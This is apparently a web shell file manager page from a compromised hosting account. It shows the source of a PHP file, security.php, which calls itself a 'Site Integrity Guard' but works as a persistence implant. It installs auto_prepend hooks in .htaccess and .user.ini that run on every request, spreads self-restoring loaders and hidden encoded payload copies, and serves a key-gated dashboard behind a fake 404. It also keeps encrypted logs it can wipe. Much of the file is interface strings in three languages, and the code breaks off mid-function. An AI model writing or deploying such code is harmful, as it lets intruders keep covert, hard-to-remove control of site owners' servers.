DELTA File Manager
PHP:
7.4.33
OS:
Linux
User:
sclmotor
Root
/
home
/
sclmotor
/
domains
/
sclmotorpartonline.com
/
public_html
📤 Upload
📝 New File
📁 New Folder
Close
Editing: security.php
<?php /** * security.php — Site Integrity Guard v3.1 * CMS-agnostic file integrity monitor with multi-location backups, * encrypted self-protection seeds, distributed loader network, * encrypted self-erasing logs, and EN/ID/TR UI. * * Install: * 1) Upload to your site root. * 2) Open in browser: https://yoursite.com/security.php * 3) Bookmark the auto-generated URL shown once. Done. */ // ============================================================================= // CONFIG // ============================================================================= $SG_CONFIG = [ // User-selected via UI (stored in encrypted state). Defaults empty. // CMS-specific files become "suggestions" shown in UI — not auto-added. 'protected_files' => [], 'folder_scan_depth' => 5, // max recursion depth for folder protection 'folder_max_files' => 500, // max files tracked per protected folder 'tree_max_depth' => 4, // tree picker UI depth 'backup_locations' => [ __DIR__ . '/.sg_vault_a', __DIR__ . '/.sg_vault_b', __DIR__ . '/.sg_vault_c', ], 'encrypted_seed_paths' => [ __DIR__ . '/.sg_seed_a.dat', __DIR__ . '/.sg_seed_b.dat', __DIR__ . '/.sg_seed_c.dat', ], 'payload_paths' => [ __DIR__ . '/.sg_payload_a.dat', __DIR__ . '/.sg_payload_b.dat', __DIR__ . '/.sg_payload_c.dat', __DIR__ . '/.sg_payload_d.dat', __DIR__ . '/.sg_payload_e.dat', ], 'loader_target_count' => 30, 'loader_max_scan' => 80, 'loader_scan_depth' => 3, 'backup_versions' => 7, 'refresh_seconds' => 5, 'recovery_stub_path' => __DIR__ . '/.sg_recovery.php', 'user_ini_path' => __DIR__ . '/.user.ini', 'tick_throttle' => 5, // .sg_recovery.php full-check every N seconds 'log_max_entries' => 100, 'log_max_bytes' => 100000, 'state_file' => __DIR__ . '/.sg_state.dat', 'log_file' => __DIR__ . '/.sg_vault_a/.sg_log.enc', 'master_key_file' => __DIR__ . '/.sg_master.key', 'init_marker' => __DIR__ . '/.sg_initialized', 'token_param' => 'k', 'lang_cookie' => 'sg_lang', 'default_lang' => 'en', ]; // ============================================================================= // KILL SWITCH — if .sg_disabled exists, do nothing. FTP'den oluşturup acil kapatma. // ============================================================================= if (file_exists(__DIR__ . '/.sg_disabled')) { if (defined('SG_HEADLESS') && SG_HEADLESS) return; http_response_code(503); echo "Site Integrity Guard is disabled (kill switch active). Delete .sg_disabled to re-enable."; exit; } // ============================================================================= // BOOT // ============================================================================= @ini_set('display_errors', '0'); date_default_timezone_set('UTC'); // Headers only set when NOT in headless mode (auto_prepend'den çağrılıyorsa parent sayfa // header'larını bozma — özellikle noindex Google'a sayfayı saklatır) if (!defined('SG_HEADLESS') || !SG_HEADLESS) { if (!headers_sent()) { header('X-Robots-Tag: noindex, nofollow'); header('X-Frame-Options: DENY'); header('X-Content-Type-Options: nosniff'); header('Referrer-Policy: no-referrer'); } } // ============================================================================= // I18N — EN / ID / TR // ============================================================================= $SG_STRINGS = [ 'en' => [ 'app_title' => 'Site Integrity Guard', 'auto_refresh' => 'Auto-refresh', 'installed_label' => 'Installed', 'sec_recovery' => 'Auto-Recovery Health (instant restore)', 'recovery_stub' => 'Recovery stub', 'recovery_htaccess'=> '.htaccess rewrite (index-missing fallback)', 'recovery_prepend' => '.htaccess auto_prepend (Apache/LiteSpeed)', 'recovery_userini' => '.user.ini auto_prepend (PHP-FPM)', 'recovery_lasttick'=> 'Last auto-tick', 'recovery_help' => 'These triggers run protection BEFORE any of your PHP code, and intercept the case where index.php is deleted (visitors get instant restore instead of a 404). If any line shows MISSING, your hosting may not support that hook — the others still work.', // Item management 'sec_manage' => 'Manage Protected Items', 'sec_picker' => 'Add Files / Folders', 'sec_custom' => 'Add Custom Path', 'sec_suggestions' => 'Suggestions for %s', 'empty_items' => 'No items selected yet. Pick files or folders below to start protecting them.', 'manage_help' => 'Choose any file or folder to protect. Folders are scanned recursively (max depth %d, max %d files). Deleted or modified files are auto-restored from backup. New files inside folders are logged as alerts.', 'col_type_file' => 'File', 'col_type_folder' => 'Folder', 'col_files_count' => 'Files', 'col_alerts' => 'Alerts', 'btn_remove' => 'Remove', 'btn_accept' => 'Accept Current', 'btn_add_selected' => 'Add Selected', 'btn_add' => 'Add', 'placeholder_path' => 'e.g. wp-content/uploads/.htaccess or admin/', 'as_file' => 'as file', 'as_folder' => 'as folder', 'confirm_remove' => 'Stop protecting %s?', 'confirm_accept' => 'Accept the current state of %s as new baseline?', 'tree_legend' => '📁 = folder, 📄 = file. Already-protected items are shown grayed out.', 'flash_items_added' => '%d items added (%d skipped)', 'flash_invalid_path' => 'Invalid path (must be inside site root, no .. or absolute paths)', 'flash_already_protected'=> 'Already protected', 'flash_path_added' => 'Added: %s', 'flash_removed' => 'Removed: %s', 'flash_not_found' => 'Item not found', 'flash_baseline_updated' => 'Baseline updated: %s', 'changes_detected' => 'changes detected', 'new_files_label' => 'NEW files inside folder', 'no_suggestions' => 'No CMS detected — use the tree picker or custom path below.', 'btn_reset_all' => 'Reset All Items', 'confirm_reset_all' => 'Stop protecting ALL items and delete every backup of those files? security.php\'s own self-protection is NOT affected.', 'flash_reset_done' => 'Cleared %d items and deleted %d backup files. Pick fresh items below.', 'reset_warn' => 'If items appear here that you didn\'t pick yourself, they were carried over from a previous install. Click "Reset All Items" to clear them.', 'banner_green' => 'All systems secure. %d loaders active, %d payloads ready.', 'banner_red' => 'WARNING — active issues detected, review the tables below.', 'banner_yellow' => 'System active, some items need verification.', 'card_protected' => 'Protected Files', 'card_restored' => 'Restored', 'card_problems' => 'Problems', 'card_loader_net' => 'Loader Network', 'card_payload' => 'Payload', 'card_enc_seed' => 'Encrypted Seed', 'card_backup_loc' => 'Backup Locations', 'sec_manual' => 'Manual Actions (optional — everything is automatic)', 'sec_protected' => 'Protected Files (auto-restore active)', 'sec_loader_net' => 'Loader Network (%d/%d)', 'sec_self_protect' => 'Self-Protection Payloads (read by loaders) + Encrypted Seeds', 'sec_backup_loc' => 'Backup Locations', 'sec_event_log' => 'Event Log (encrypted, last %d)', 'sec_system' => 'System', 'btn_refresh_backups' => 'Refresh Backups', 'btn_expand_loaders' => 'Expand Loader Network', 'btn_regen_seeds' => 'Regenerate Seeds/Payloads', 'btn_wipe_log' => 'Wipe Log', 'confirm_wipe_log' => 'Wipe log?', 'col_file' => 'File', 'col_status' => 'Status', 'col_last_action' => 'Last Action', 'col_backups_per_loc' => 'Backups (per location)', 'col_last_check' => 'Last Check', 'col_type' => 'Type', 'col_exists' => 'Exists?', 'col_current' => 'Current', 'col_valid' => 'Valid', 'col_location' => 'Location', 'col_size' => 'Size', 'col_time' => 'Time', 'col_level' => 'Level', 'col_message' => 'Message', 'pill_active' => 'active', 'pill_broken' => 'BROKEN', 'pill_missing' => 'MISSING', 'pill_present' => 'present', 'pill_current' => 'current', 'pill_outdated' => 'outdated', 'pill_ok' => 'OK', 'help_protected' => 'If you need to intervene, copy a .bak from .sg_vault_*/ over the original file via FTP.', 'help_loader_net' => 'If security.php is deleted, any of these loaders will auto-restore it from the nearest payload on the next request. Deleted or modified loaders are auto-repaired whenever this dashboard loads.', 'no_events' => 'No events yet.', 'sys_cms' => 'CMS', 'sys_write_perm' => 'Write permission (root)', 'sys_loader_target' => 'Loader target', 'sys_reset' => 'Reset', 'sys_reset_desc' => 'Delete <code>.sg_master.key</code> and <code>.sg_initialized</code> via FTP → setup screen reappears with a new key.', 'flash_csrf' => 'CSRF token mismatch', 'flash_backup_ok' => '%d files backed up across all locations', 'flash_seeds_ok' => 'Seeds and payloads regenerated', 'flash_loaders_ok' => '%d loaders active', 'flash_log_wiped' => 'Log wiped', 'footer' => 'Site Integrity Guard v3.1 · zero-setup · encrypted state & logs · distributed loaders', // First-visit page 'fv_title' => 'Site Integrity Guard — Active', 'fv_sub' => 'All system protections (backups, loader network, payloads) are already running. I just need to give you your bookmark URL.', 'fv_warn' => '<b>THIS PAGE IS SHOWN ONLY ONCE.</b> Bookmark the URL below right now or save it somewhere safe. You will use this URL to access the dashboard. This page will not appear again — everyone else gets a plain 404.', 'fv_btn' => 'Open Dashboard and Bookmark', 'fv_step1' => 'Click the button above → Dashboard opens.', 'fv_step2' => 'Press <b>Ctrl+D</b> (Mac: Cmd+D) to bookmark.', 'fv_step3' => 'Done. Nothing else to configure, ever.', 'fv_lost' => '<b>Lost the URL?</b> Open <code>.sg_master.key</code> on your server via FTP/SSH — use that value in the URL format: <code>security.php?k=KEY</code>.<br><b>To fully reset:</b> Delete <code>.sg_master.key</code> and <code>.sg_initialized</code> via FTP. The setup screen reappears with a new key.', 'lang_label' => 'Language', ], 'id' => [ 'app_title' => 'Site Integrity Guard', 'auto_refresh' => 'Auto-refresh', 'installed_label' => 'Terpasang', 'sec_recovery' => 'Kesehatan Auto-Recovery (restore instan)', 'recovery_stub' => 'Recovery stub', 'recovery_htaccess'=> '.htaccess rewrite (fallback saat index hilang)', 'recovery_prepend' => '.htaccess auto_prepend (Apache/LiteSpeed)', 'recovery_userini' => '.user.ini auto_prepend (PHP-FPM)', 'recovery_lasttick'=> 'Auto-tick terakhir', 'recovery_help' => 'Trigger ini menjalankan proteksi SEBELUM kode PHP Anda, dan menangkap kasus saat index.php dihapus (pengunjung mendapat restore instan, bukan 404). Jika ada baris menunjukkan TIDAK ADA, hosting Anda mungkin tidak mendukung hook tersebut — yang lain tetap bekerja.', 'sec_manage' => 'Kelola Item Terlindungi', 'sec_picker' => 'Tambah File / Folder', 'sec_custom' => 'Tambah Path Kustom', 'sec_suggestions' => 'Saran untuk %s', 'empty_items' => 'Belum ada item yang dipilih. Pilih file atau folder di bawah untuk mulai melindunginya.', 'manage_help' => 'Pilih file atau folder apa pun untuk dilindungi. Folder discan rekursif (maks kedalaman %d, maks %d file). File yang dihapus/dimodifikasi otomatis dipulihkan dari backup. File baru di dalam folder dicatat sebagai alert.', 'col_type_file' => 'File', 'col_type_folder' => 'Folder', 'col_files_count' => 'File', 'col_alerts' => 'Alert', 'btn_remove' => 'Hapus', 'btn_accept' => 'Terima Saat Ini', 'btn_add_selected' => 'Tambah Terpilih', 'btn_add' => 'Tambah', 'placeholder_path' => 'cth. wp-content/uploads/.htaccess atau admin/', 'as_file' => 'sebagai file', 'as_folder' => 'sebagai folder', 'confirm_remove' => 'Hentikan proteksi untuk %s?', 'confirm_accept' => 'Terima kondisi %s saat ini sebagai baseline baru?', 'tree_legend' => '📁 = folder, 📄 = file. Item yang sudah dilindungi ditampilkan abu-abu.', 'flash_items_added' => '%d item ditambahkan (%d dilewati)', 'flash_invalid_path' => 'Path tidak valid (harus di dalam root situs, tidak boleh .. atau absolute)', 'flash_already_protected'=> 'Sudah dilindungi', 'flash_path_added' => 'Ditambahkan: %s', 'flash_removed' => 'Dihapus: %s', 'flash_not_found' => 'Item tidak ditemukan', 'flash_baseline_updated' => 'Baseline diperbarui: %s', 'changes_detected' => 'perubahan terdeteksi', 'new_files_label' => 'File BARU di dalam folder', 'no_suggestions' => 'Tidak ada CMS terdeteksi — gunakan tree picker atau path kustom di bawah.', 'btn_reset_all' => 'Reset Semua Item', 'confirm_reset_all' => 'Hentikan proteksi SEMUA item dan hapus semua backup file tersebut? Self-protection security.php sendiri TIDAK terpengaruh.', 'flash_reset_done' => 'Membersihkan %d item dan menghapus %d file backup. Pilih item baru di bawah.', 'reset_warn' => 'Jika ada item di sini yang tidak Anda pilih sendiri, itu terbawa dari instalasi sebelumnya. Klik "Reset Semua Item" untuk membersihkannya.', 'banner_green' => 'Semua sistem aman. %d loader aktif, %d payload siap.', 'banner_red' => 'PERINGATAN — ada masalah aktif, periksa tabel di bawah.', 'banner_yellow' => 'Sistem aktif, beberapa item perlu diverifikasi.', 'card_protected' => 'File Terlindungi', 'card_restored' => 'Dipulihkan', 'card_problems' => 'Bermasalah', 'card_loader_net' => 'Jaringan Loader', 'card_payload' => 'Payload', 'card_enc_seed' => 'Seed Terenkripsi', 'card_backup_loc' => 'Lokasi Backup', 'sec_manual' => 'Aksi Manual (opsional — semuanya sudah otomatis)', 'sec_protected' => 'File Terlindungi (auto-restore aktif)', 'sec_loader_net' => 'Jaringan Loader (%d/%d)', 'sec_self_protect' => 'Payload Self-Proteksi (dibaca loader) + Seed Terenkripsi', 'sec_backup_loc' => 'Lokasi Backup', 'sec_event_log' => 'Log Peristiwa (terenkripsi, %d terakhir)', 'sec_system' => 'Sistem', 'btn_refresh_backups' => 'Perbarui Backup', 'btn_expand_loaders' => 'Perluas Jaringan Loader', 'btn_regen_seeds' => 'Regenerasi Seed/Payload', 'btn_wipe_log' => 'Hapus Log', 'confirm_wipe_log' => 'Hapus log?', 'col_file' => 'File', 'col_status' => 'Status', 'col_last_action' => 'Aksi Terakhir', 'col_backups_per_loc' => 'Backup (per lokasi)', 'col_last_check' => 'Cek Terakhir', 'col_type' => 'Tipe', 'col_exists' => 'Ada?', 'col_current' => 'Terkini', 'col_valid' => 'Valid', 'col_location' => 'Lokasi', 'col_size' => 'Ukuran', 'col_time' => 'Waktu', 'col_level' => 'Level', 'col_message' => 'Pesan', 'pill_active' => 'aktif', 'pill_broken' => 'RUSAK', 'pill_missing' => 'TIDAK ADA', 'pill_present' => 'ada', 'pill_current' => 'terkini', 'pill_outdated' => 'usang', 'pill_ok' => 'OK', 'help_protected' => 'Jika perlu intervensi, salin file .bak dari .sg_vault_*/ ke posisi file asli via FTP.', 'help_loader_net' => 'Jika security.php dihapus, salah satu loader ini akan memulihkannya secara otomatis dari payload terdekat pada request berikutnya. Loader yang dihapus atau dimodifikasi akan diperbaiki otomatis setiap kali dashboard ini dimuat.', 'no_events' => 'Belum ada peristiwa.', 'sys_cms' => 'CMS', 'sys_write_perm' => 'Izin tulis (root)', 'sys_loader_target' => 'Target loader', 'sys_reset' => 'Reset', 'sys_reset_desc' => 'Hapus <code>.sg_master.key</code> dan <code>.sg_initialized</code> via FTP → layar setup muncul lagi dengan kunci baru.', 'flash_csrf' => 'Token CSRF tidak cocok', 'flash_backup_ok' => '%d file di-backup ke semua lokasi', 'flash_seeds_ok' => 'Seed dan payload diregenerasi', 'flash_loaders_ok' => '%d loader aktif', 'flash_log_wiped' => 'Log dihapus', 'footer' => 'Site Integrity Guard v3.1 · tanpa setup · state & log terenkripsi · loader terdistribusi', 'fv_title' => 'Site Integrity Guard — Aktif', 'fv_sub' => 'Semua proteksi sistem (backup, jaringan loader, payload) sudah berjalan. Saya hanya perlu memberi Anda URL bookmark.', 'fv_warn' => '<b>HALAMAN INI HANYA DITAMPILKAN SEKALI.</b> Bookmark URL di bawah sekarang juga atau simpan di tempat aman. URL ini untuk mengakses dashboard. Halaman ini tidak akan muncul lagi — orang lain hanya akan melihat 404.', 'fv_btn' => 'Buka Dashboard dan Bookmark', 'fv_step1' => 'Klik tombol di atas → Dashboard terbuka.', 'fv_step2' => 'Tekan <b>Ctrl+D</b> (Mac: Cmd+D) untuk bookmark.', 'fv_step3' => 'Selesai. Tidak perlu konfigurasi apapun lagi.', 'fv_lost' => '<b>Kehilangan URL?</b> Buka file <code>.sg_master.key</code> di server via FTP/SSH — gunakan nilai itu dalam format URL: <code>security.php?k=KUNCI</code>.<br><b>Untuk reset total:</b> Hapus <code>.sg_master.key</code> dan <code>.sg_initialized</code> via FTP. Layar setup muncul lagi dengan kunci baru.', 'lang_label' => 'Bahasa', ], 'tr' => [ 'app_title' => 'Site Integrity Guard', 'auto_refresh' => 'Auto-refresh', 'installed_label' => 'Kurulum', 'sec_recovery' => 'Auto-Recovery Sağlığı (anlık restore)', 'recovery_stub' => 'Recovery stub', 'recovery_htaccess'=> '.htaccess rewrite (index silinince fallback)', 'recovery_prepend' => '.htaccess auto_prepend (Apache/LiteSpeed)', 'recovery_userini' => '.user.ini auto_prepend (PHP-FPM)', 'recovery_lasttick'=> 'Son auto-tick', 'recovery_help' => 'Bu trigger\'lar senin PHP kodundan ÖNCE çalışır ve index.php silinme durumunu yakalar (ziyaretçi 404 yerine anlık restore alır). Bir satır YOK gösteriyorsa hosting o hook\'u desteklemiyor olabilir — diğerleri yine çalışır.', 'sec_manage' => 'Korunan Öğeleri Yönet', 'sec_picker' => 'Dosya / Klasör Ekle', 'sec_custom' => 'Özel Path Ekle', 'sec_suggestions' => '%s için öneriler', 'empty_items' => 'Henüz hiç öğe seçilmedi. Aşağıdan korumak istediğin dosya veya klasörleri seç.', 'manage_help' => 'Herhangi bir dosya veya klasörü korumaya alabilirsin. Klasörler recursive taranır (max derinlik %d, max %d dosya). Silinen/değiştirilen dosyalar yedekten otomatik geri yüklenir. Klasör içine sızdırılan yeni dosyalar alert olarak loglanır.', 'col_type_file' => 'Dosya', 'col_type_folder' => 'Klasör', 'col_files_count' => 'Dosya', 'col_alerts' => 'Alert', 'btn_remove' => 'Kaldır', 'btn_accept' => 'Mevcut Hali Onayla', 'btn_add_selected' => 'Seçilenleri Ekle', 'btn_add' => 'Ekle', 'placeholder_path' => 'örn. wp-content/uploads/.htaccess veya admin/', 'as_file' => 'dosya olarak', 'as_folder' => 'klasör olarak', 'confirm_remove' => '%s korumasını kaldır?', 'confirm_accept' => '%s mevcut halini yeni baseline olarak kabul et?', 'tree_legend' => '📁 = klasör, 📄 = dosya. Zaten korunan öğeler gri görünür.', 'flash_items_added' => '%d öğe eklendi (%d atlandı)', 'flash_invalid_path' => 'Geçersiz path (site kök dizini içinde olmalı, .. veya absolute yol kabul edilmez)', 'flash_already_protected'=> 'Zaten korunuyor', 'flash_path_added' => 'Eklendi: %s', 'flash_removed' => 'Kaldırıldı: %s', 'flash_not_found' => 'Öğe bulunamadı', 'flash_baseline_updated' => 'Baseline güncellendi: %s', 'changes_detected' => 'değişiklik tespit edildi', 'new_files_label' => 'Klasör içinde YENİ dosya', 'no_suggestions' => 'CMS algılanamadı — aşağıdaki tree picker veya custom path\'i kullan.', 'btn_reset_all' => 'Tüm Öğeleri Sıfırla', 'confirm_reset_all' => 'TÜM korunan öğeleri durdur ve bu dosyaların tüm yedeklerini sil? security.php\'nin kendi self-protect\'i ETKİLENMEZ.', 'flash_reset_done' => '%d öğe silindi, %d yedek dosya kaldırıldı. Aşağıdan yeni öğe seç.', 'reset_warn' => 'Burada senin seçmediğin öğeler görünüyorsa, eski kurulumdan taşınmış demektir. "Tüm Öğeleri Sıfırla" ile temizleyebilirsin.', 'banner_green' => 'Tüm sistemler güvende. %d loader aktif, %d payload hazır.', 'banner_red' => 'DİKKAT — aktif sorun var, aşağıdaki tabloları incele.', 'banner_yellow' => 'Sistem aktif, bazı kalemler doğrulanmalı.', 'card_protected' => 'Korunan Dosya', 'card_restored' => 'Geri Yüklenen', 'card_problems' => 'Problemli', 'card_loader_net' => 'Loader Ağı', 'card_payload' => 'Payload', 'card_enc_seed' => 'Şifreli Seed', 'card_backup_loc' => 'Backup Konumu', 'sec_manual' => 'Manuel İşlemler (opsiyonel — her şey zaten otomatik)', 'sec_protected' => 'Korunan Dosyalar (otomatik geri yükleme aktif)', 'sec_loader_net' => 'Loader Ağı (%d/%d)', 'sec_self_protect' => 'Self-Koruma Payload\'ları (loader\'ların okuduğu) + Şifreli Seed\'ler', 'sec_backup_loc' => 'Backup Konumları', 'sec_event_log' => 'Olay Logu (şifreli, son %d)', 'sec_system' => 'Sistem', 'btn_refresh_backups' => 'Yedekleri Yenile', 'btn_expand_loaders' => 'Loader Ağını Genişlet', 'btn_regen_seeds' => 'Seed/Payload Yenile', 'btn_wipe_log' => 'Logu Sil', 'confirm_wipe_log' => 'Logu sil?', 'col_file' => 'Dosya', 'col_status' => 'Durum', 'col_last_action' => 'Son Aksiyon', 'col_backups_per_loc' => 'Yedek (konum başı)', 'col_last_check' => 'Son Kontrol', 'col_type' => 'Tip', 'col_exists' => 'Var Mı?', 'col_current' => 'Güncel', 'col_valid' => 'Geçerli', 'col_location' => 'Konum', 'col_size' => 'Boyut', 'col_time' => 'Zaman', 'col_level' => 'Seviye', 'col_message' => 'Mesaj', 'pill_active' => 'aktif', 'pill_broken' => 'BOZUK', 'pill_missing' => 'YOK', 'pill_present' => 'mevcut', 'pill_current' => 'güncel', 'pill_outdated' => 'eski', 'pill_ok' => 'OK', 'help_protected' => 'Müdahale gerekirse FTP\'den .sg_vault_*/ klasöründeki .bak dosyasını dosyanın yerine koy.', 'help_loader_net' => 'security.php silinirse, bu loader\'lardan herhangi biri bir sonraki istekte payload\'tan otomatik geri yükler. Silinen/değiştirilen loader bu dashboard her açıldığında otomatik tamir edilir.', 'no_events' => 'Henüz olay yok.', 'sys_cms' => 'CMS', 'sys_write_perm' => 'Yazma izni (root)', 'sys_loader_target' => 'Loader hedef', 'sys_reset' => 'Sıfırlama', 'sys_reset_desc' => 'FTP\'den <code>.sg_master.key</code> ve <code>.sg_initialized</code>\'i sil → setup ekranı yeni anahtarla tekrar çıkar.', 'flash_csrf' => 'CSRF token uyuşmadı', 'flash_backup_ok' => '%d dosya tüm konumlara yedeklendi', 'flash_seeds_ok' => 'Seed ve payload\'lar yenilendi', 'flash_loaders_ok' => '%d loader aktif', 'flash_log_wiped' => 'Log temizlendi', 'footer' => 'Site Integrity Guard v3.1 · sıfır kurulum · şifreli state & log · dağıtık loader\'lar', 'fv_title' => 'Site Integrity Guard — Aktif', 'fv_sub' => 'Sistemin tüm korumaları (backup, loader ağı, payload\'lar) çalışıyor. Sana sadece bookmark URL\'ini vermem yeterli.', 'fv_warn' => '<b>BU SAYFA SADECE BİR KEZ GÖSTERİLİYOR.</b> Aşağıdaki URL\'i hemen bookmark\'a ekle veya bir yere kaydet. Bu URL ile dashboard\'a erişeceksin. Bir daha bu sayfa açılmayacak — başka herkes 404 görecek.', 'fv_btn' => 'Dashboard\'ı Aç ve Bookmark\'a Ekle', 'fv_step1' => 'Yukarıdaki butona tıkla → Dashboard açılır.', 'fv_step2' => 'Tarayıcıda <b>Ctrl+D</b> (Mac: Cmd+D) ile bookmark\'a ekle.', 'fv_step3' => 'Bitti. Bir daha hiçbir şey ayarlamana gerek yok.', 'fv_lost' => '<b>URL\'i kaybettin mi?</b> FTP/SSH ile sunucudaki <code>.sg_master.key</code> dosyasını aç — içindeki değeri şu formatta kullan: <code>security.php?k=ANAHTAR</code>.<br><b>Tamamen sıfırlamak için:</b> FTP\'den <code>.sg_master.key</code> ve <code>.sg_initialized</code> dosyalarını sil. Yeni anahtarla bu setup ekranı tekrar çıkar.', 'lang_label' => 'Dil', ], ]; // Detect language: ?lang= → cookie → default $SG_LANG = $SG_CONFIG['default_lang']; $SG_IS_HEADLESS = defined('SG_HEADLESS') && SG_HEADLESS; if (isset($_GET['lang']) && isset($SG_STRINGS[$_GET['lang']])) { $SG_LANG = $_GET['lang']; if (!$SG_IS_HEADLESS && !headers_sent()) { @setcookie($SG_CONFIG['lang_cookie'], $SG_LANG, time() + 31536000, '/'); } $_COOKIE[$SG_CONFIG['lang_cookie']] = $SG_LANG; } elseif (isset($_COOKIE[$SG_CONFIG['lang_cookie']]) && isset($SG_STRINGS[$_COOKIE[$SG_CONFIG['lang_cookie']]])) { $SG_LANG = $_COOKIE[$SG_CONFIG['lang_cookie']]; } function t($key, ...$args) { global $SG_STRINGS, $SG_LANG; $str = $SG_STRINGS[$SG_LANG][$key] ?? $SG_STRINGS['en'][$key] ?? $key; return $args ? vsprintf($str, $args) : $str; } // ============================================================================= // MASTER KEY (auto-generated) // ============================================================================= function sg_get_master_key() { global $SG_CONFIG; if (file_exists($SG_CONFIG['master_key_file'])) { $k = trim(@file_get_contents($SG_CONFIG['master_key_file'])); if (strlen($k) >= 32) return $k; } $key = bin2hex(random_bytes(24)); @file_put_contents($SG_CONFIG['master_key_file'], $key, LOCK_EX); @chmod($SG_CONFIG['master_key_file'], 0600); @unlink($SG_CONFIG['init_marker']); sg_install_root_htaccess(); return $key; } function sg_install_root_htaccess() { global $SG_CONFIG; $ht = __DIR__ . '/.htaccess'; $existing = file_exists($ht) ? (string)@file_get_contents($ht) : ''; $original = $existing; $recoveryAbs = $SG_CONFIG['recovery_stub_path']; $recoveryAbsEsc = str_replace('"', '\\"', $recoveryAbs); // 1. Deny direct access to SG internal files if (strpos($existing, '# SG_DENY_KEYS_START') === false) { $existing .= "\n# SG_DENY_KEYS_START\n" . "<FilesMatch \"^\\.sg_\">\n Require all denied\n Deny from all\n</FilesMatch>\n" . "<FilesMatch \"\\.(key|enc|dat|log)$\">\n Require all denied\n Deny from all\n</FilesMatch>\n" . "# SG_DENY_KEYS_END\n"; } // 2. Rewrite: when index.php/index.html missing → trigger recovery stub if (strpos($existing, '# SG_RECOVERY_START') === false) { $existing .= "\n# SG_RECOVERY_START\n" . "<IfModule mod_rewrite.c>\n" . " RewriteEngine On\n" . " RewriteCond %{REQUEST_URI} ^/?$\n" . " RewriteCond %{DOCUMENT_ROOT}/index.php !-f\n" . " RewriteCond %{DOCUMENT_ROOT}/index.html !-f\n" . " RewriteRule ^ /.sg_recovery.php [E=SG_FALLBACK:1,L]\n" . "</IfModule>\n" . "# SG_RECOVERY_END\n"; } // 3. auto_prepend_file: every PHP request triggers recovery first (Apache + LiteSpeed) if (strpos($existing, '# SG_PREPEND_START') === false) { $existing .= "\n# SG_PREPEND_START\n" . "<IfModule mod_php.c>\n php_value auto_prepend_file \"$recoveryAbsEsc\"\n</IfModule>\n" . "<IfModule mod_php5.c>\n php_value auto_prepend_file \"$recoveryAbsEsc\"\n</IfModule>\n" . "<IfModule mod_php7.c>\n php_value auto_prepend_file \"$recoveryAbsEsc\"\n</IfModule>\n" . "<IfModule mod_php8.c>\n php_value auto_prepend_file \"$recoveryAbsEsc\"\n</IfModule>\n" . "<IfModule lsapi_module>\n php_value auto_prepend_file \"$recoveryAbsEsc\"\n</IfModule>\n" . "# SG_PREPEND_END\n"; } if ($existing !== $original) @file_put_contents($ht, $existing, LOCK_EX); } // .user.ini → for PHP-FPM (cPanel/Plesk) which doesn't honor mod_php directives function sg_install_user_ini() { global $SG_CONFIG; $ini = $SG_CONFIG['user_ini_path']; $recoveryAbs = $SG_CONFIG['recovery_stub_path']; $existing = file_exists($ini) ? (string)@file_get_contents($ini) : ''; if (strpos($existing, '; SG_PREPEND_START') !== false) return; $existing .= "\n; SG_PREPEND_START\nauto_prepend_file = \"$recoveryAbs\"\n; SG_PREPEND_END\n"; @file_put_contents($ini, $existing, LOCK_EX); } // .sg_recovery.php — runs on every PHP request via auto_prepend, AND on missing-index fallback function sg_recovery_stub_body() { return <<<'PHP' <?php /* SG_RECOVERY_V2 — auto-restore stub. Triggered by auto_prepend_file and .htaccess rewrite. WRAPPED IN try/catch — if anything fails, the parent request still works. */ if (defined('SG_RECOVERY_RAN')) return; define('SG_RECOVERY_RAN', 1); try { $ROOT = __DIR__; // KILL SWITCH: if this file exists, do nothing. Create via FTP to fully disable. if (file_exists($ROOT . '/.sg_disabled')) return; $req = isset($_SERVER['REQUEST_URI']) ? @parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH) : ''; $isSecurityHit = (basename((string)$req) === 'security.php'); $isFallback = !empty($_SERVER['SG_FALLBACK']) || !empty($_SERVER['REDIRECT_SG_FALLBACK']); // 1) Restore security.php from payload if missing $security = $ROOT . '/security.php'; if (!file_exists($security)) { $payloads = @glob($ROOT . '/.sg_payload_*.dat'); if ($payloads) { foreach ($payloads as $p) { $raw = @file_get_contents($p); if (!$raw) continue; $parts = explode("\n", $raw, 3); if (count($parts) !== 3 || $parts[0] !== 'SG_PAYLOAD_V1') continue; $code = @gzinflate(@base64_decode($parts[2])); if ($code === false || @hash('sha256', $code) !== $parts[1]) continue; @file_put_contents($security, $code, LOCK_EX); @chmod($security, 0644); break; } } } // 2) Restore common entry files from backup if missing (only if backups exist) $vaults = @glob($ROOT . '/.sg_vault_*', GLOB_ONLYDIR); if ($vaults) { foreach (array('index.php', 'index.html', '.htaccess') as $f) { $abs = $ROOT . '/' . $f; if (file_exists($abs)) continue; $cands = array(); $base = preg_replace('/[^A-Za-z0-9._-]/', '_', $f); foreach ($vaults as $v) { $hits = @glob($v . '/' . $base . '.*.bak'); if ($hits) foreach ($hits as $b) $cands[] = $b; } if (!$cands) continue; usort($cands, function ($a, $b) { return @filemtime($b) - @filemtime($a); }); $content = @file_get_contents($cands[0]); if ($content !== false) { @file_put_contents($abs, $content, LOCK_EX); @chmod($abs, 0644); } } } // 3) THROTTLED: full protection check via security.php headless if (!$isSecurityHit && file_exists($security)) { $tickFile = $ROOT . '/.sg_last_tick'; $last = @file_get_contents($tickFile); $last = $last ? (int)$last : 0; if (time() - $last >= 5) { @file_put_contents($tickFile, (string)time(), LOCK_EX); @chmod($tickFile, 0600); if (!defined('SG_HEADLESS')) define('SG_HEADLESS', true); @ob_start(); try { @include $security; } catch (\Throwable $e) { /* swallow */ } @ob_end_clean(); } } // 4) FALLBACK: when triggered by index-missing rewrite, redirect to / if ($isFallback) { if (file_exists($ROOT . '/index.php') || file_exists($ROOT . '/index.html')) { @header('Location: /'); exit; } @http_response_code(404); echo "<!DOCTYPE html><html><head><title>404</title></head><body><h1>Not Found</h1></body></html>"; exit; } } catch (\Throwable $e) { // Silent failure — the parent request must continue at all costs. @error_log('SG recovery stub error: ' . $e->getMessage()); } PHP; } function sg_ensure_recovery_stub() { global $SG_CONFIG; $path = $SG_CONFIG['recovery_stub_path']; $body = sg_recovery_stub_body(); $bodyHash = hash('sha256', $body); $cur = file_exists($path) ? @file_get_contents($path) : null; if ($cur === null || hash('sha256', (string)$cur) !== $bodyHash) { @file_put_contents($path, $body, LOCK_EX); @chmod($path, 0644); } } // .htaccess / .user.ini hash baseline normalization — strip SG-managed blocks // so our own additions don't trigger "unauthorized modification" alerts. function sg_baseline_hash($file, $content) { $base = basename($file); if ($base === '.htaccess') { $content = 